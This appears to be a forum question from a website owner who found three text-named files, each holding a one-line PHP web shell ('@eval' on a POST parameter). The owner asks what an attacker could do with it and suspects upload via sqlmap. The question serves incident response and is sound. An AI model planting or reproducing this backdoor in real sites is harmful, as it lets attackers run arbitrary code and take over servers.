.php code in .txt file with eval() function [duplicate]

I have found three files with name as below:

  a.phpfile.txt   b.phpfile.txt   c.phpfile.txt 

when i open, each file contained with the following code:

  <?php @eval($  _POST[x]); 

I have deleted all the pages from my website, but i am need to know that with the above code, what a hacker can do with my site?

I think, the files were uploaded by the hackers using sqlmap because i had created db user with full privileges on database. So, I changed the permissions of the website users as well.